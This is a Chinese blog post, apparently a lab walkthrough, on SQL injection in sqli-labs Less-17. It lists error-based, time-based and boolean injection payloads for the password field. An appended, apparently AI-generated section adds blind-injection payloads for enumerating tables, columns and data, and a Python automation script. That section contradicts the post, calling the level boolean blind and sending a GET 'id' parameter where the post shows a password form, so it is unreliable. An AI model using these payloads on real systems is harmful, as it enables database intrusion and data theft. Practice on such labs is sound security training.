sqli-labs-Less-17

本文深入探讨了SQL注入的三种常见手法:报错注入、延时注入及布尔注入,并解释了为何在特定情况下不宜对username进行构造。通过实例演示了如何利用这些技巧进行数据库信息的非法获取。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这一关与密码有关,我们尝试下报错

输入username:admin
password=1'

在这里插入图片描述
故对密码处理时应该使用“
报错注入

username:admin
password:1'and extractvalue(1,concat(0x7e,(select version()),0x7e))#

在这里插入图片描述
version()可以换成其他语句进行注入

延时注入

 username:admin
 password:1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))#

布尔注入

  username:admin
  password:1'and left (database(),1)>'a'#

可是我们为什么不对username进行构造呢
原因是less=177 的 check_input()中,对 username 进行各种转义的处理,所以此处不能使用username 进行注入。
在这里插入图片描述
这3个函数的功能大家就自己查找资料

### SQL注入实验室(sqli-labsLess-17 解法或提示 在 SQL 注入实验室(sqli-labs)中,Less-17 是一个基于布尔盲注的 SQL 注入关卡。此关卡的目标是通过布尔盲注技术逐步推断出数据库中的信息[^1]。布尔盲注的核心思想是利用条件判断来确定查询结果是否满足特定条件,从而推导出目标数据。 以下是关于 Less-17 的解法提示: #### 1. 确定数据库名 可以通过以下 Payload 来逐字猜测数据库名: ```python 1' AND IF(ASCII(SUBSTRING((SELECT database()),X,1))=Y,sleep(1),1) -- a ``` 其中: - `X` 表示当前猜测的字符位置。 - `Y` 表示当前猜测的 ASCII 值。 通过不断调整 `X` 和 `Y` 的值,可以逐步推断出完整的数据库名[^1]。 #### 2. 获取表名 在确定数据库名后,可以使用类似的方法获取该数据库中的表名。Payload 示例如下: ```python 1' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='数据库名' LIMIT X,1),Y,1))=Z,sleep(1),1) -- a ``` 其中: - `数据库名` 是上一步中推断出的数据库名称。 - `X` 表示当前表的索引。 - `Y` 表示当前猜测的字符位置。 - `Z` 表示当前猜测的 ASCII 值。 通过不断调整参数,可以枚举出所有表名[^4]。 #### 3. 获取列名 在确定表名后,可以进一步获取表中的列名。Payload 示例如下: ```python 1' AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='表名' LIMIT X,1),Y,1))=Z,sleep(1),1) -- a ``` 其中: - `表名` 是上一步中推断出的表名称。 - 其他参数含义与上一步相同。 通过不断调整参数,可以枚举出所有列名[^3]。 #### 4. 获取数据内容 在确定列名后,可以提取表中的具体数据。Payload 示例如下: ```python 1' AND IF(ASCII(SUBSTRING((SELECT 列名 FROM 表名 LIMIT X,1),Y,1))=Z,sleep(1),1) -- a ``` 其中: - `列名` 是上一步中推断出的列名称。 - 其他参数含义与上一步相同。 通过不断调整参数,可以提取出表中的所有数据[^1]。 #### 注意事项 - 在实际测试中,可能需要根据目标环境调整 Payload,例如替换 `sleep(1)` 为其他延迟函数。 - 如果目标环境不支持时间盲注,可以尝试使用布尔盲注结合页面回显来判断条件是否成立。 - 测试时请确保遵守相关法律法规,仅在授权范围内进行实验。 ```python # 示例代码:自动化脚本框架 import requests url = "http://127.0.0.1/sqli-labs/Less-17/" true_condition = "正确响应标志" # 替换为实际页面的正确响应标志 def check_payload(payload): response = requests.get(url, params={"id": payload}) return true_condition in response.text def guess_char(position, ascii_value): payload = f"1' AND IF(ASCII(SUBSTRING((SELECT database()),{position},1))={ascii_value},1,0) -- a" return check_payload(payload) # 自动化猜解逻辑 database_name = "" for i in range(1, 20): # 假设数据库名长度不超过20 for j in range(32, 127): # ASCII 可见字符范围 if guess_char(i, j): database_name += chr(j) print(f"当前数据库名: {database_name}") break ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值